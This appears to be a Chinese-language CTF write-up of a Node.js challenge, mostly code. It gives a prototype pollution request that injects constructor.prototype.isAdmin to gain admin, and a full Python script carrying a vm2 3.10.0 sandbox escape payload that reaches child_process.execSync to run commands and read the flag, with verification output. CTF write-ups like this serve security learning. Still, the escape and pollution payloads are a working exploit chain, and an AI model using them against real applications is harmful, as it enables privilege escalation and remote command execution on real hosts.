nodejs
Summary
这题是一条很典型的 Node.js Web 利用链:先通过 merge() 的递归合并缺陷做 constructor.prototype 原型污染,把普通用户提权为管理员;再利用管理员专属的 /sandbox 功能,结合 vm2@3.10.0 已知逃逸拿到命令执行,最终读取 flag。
Solution
Step 1: 原型污染提权
核心点在 app.js 的自定义 merge():
- 只过滤了
__proto__,但没有过滤 constructor.prototype
/changepassword 在校验旧密码成功后直接执行 merge(user, req.body)
- 因此可以提交
constructor.prototype.isAdmin=true
- 最终污染到
Object.prototype.isAdmin
- 后续
/me、/admin、/sandbox 里读取 user.isAdmin 时都会命中原型链,得到管理员权限
关键代码位置:
app.js:25-35:危险的递归 merge()
app.js:88-110:/changepassword 中的 merge(user, req.body)
app.js:126-150:管理员判断逻辑
提权请求体如下:
1 2 3 4 5 6 7 8 9 10
| { "oldPassword": "test", "newPassword": "test2", "confirmPassword": "test2", "constructor": { "prototype": { "isAdmin": true } } }
|
Step 2: vm2 沙箱逃逸并读取 flag
package.json 指定依赖为 vm2: 3.10.0。该版本存在公开沙箱逃逸,管理员可调用 /sandbox 把任意代码送入 new VM().run(code) 执行,因此可以直接通过已知技巧逃逸到宿主进程,再用 child_process.execSync() 读取 flag。
我本地复现时已验证:
/me 成功返回 isAdmin: true
/admin 成功返回欢迎管理员
/sandbox 能成功执行 id
完整利用脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| import requests
BASE = "http://127.0.0.1:3000" USERNAME = "test" PASSWORD = "test"
s = requests.Session()
print("[+] register") r = s.post(f"{BASE}/register", json={ "username": USERNAME, "password": PASSWORD, }) print(r.text)
print("[+] login") r = s.post(f"{BASE}/login", json={ "username": USERNAME, "password": PASSWORD, }) print(r.text)
print("[+] prototype pollution") r = s.post(f"{BASE}/changepassword", json={ "oldPassword": PASSWORD, "newPassword": "test2", "confirmPassword": "test2", "constructor": { "prototype": { "isAdmin": True } } }) print(r.text)
print("[+] check /me") print(s.get(f"{BASE}/me").text) print("[+] check /admin") print(s.get(f"{BASE}/admin").text)
js = r''' const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const p = f(); p.catch(e => { const proc = e.constructor.constructor('return process')(); const cp = proc.mainModule.require('child_process'); const paths = ['/flag', '/flag.txt', '/app/flag', '/app/flag.txt']; for (const p of paths) { try { __result.value = cp.execSync('cat ' + p).toString(); break; } catch (_) {} } if (!__result.value) { __result.value = cp.execSync('id').toString(); } }); 'ok'; '''
print("[+] escape vm2 and read flag") r = s.post(f"{BASE}/sandbox", json={"code": js}) print(r.text)
|
Verification
本地复现的关键返回如下:
1 2 3 4 5
| {"message":"登录成功","user":{"username":"test"}} {"message":"密码修改成功"} {"username":"test","isAdmin":true} {"message":"欢迎管理员!"} {"result":"ok","output":"uid=1000(hack) gid=1000(hack) groups=1000(hack)..."}
|
这说明两段链已经完全打通:
- 普通用户 → 管理员
- 管理员 → vm2 逃逸 → 宿主机命令执行
- 将
id 替换为 cat /flag 即可读取最终 flag
Flag
1
| 远端环境执行脚本后,通过 /sandbox 返回的 output 字段即为 flag
|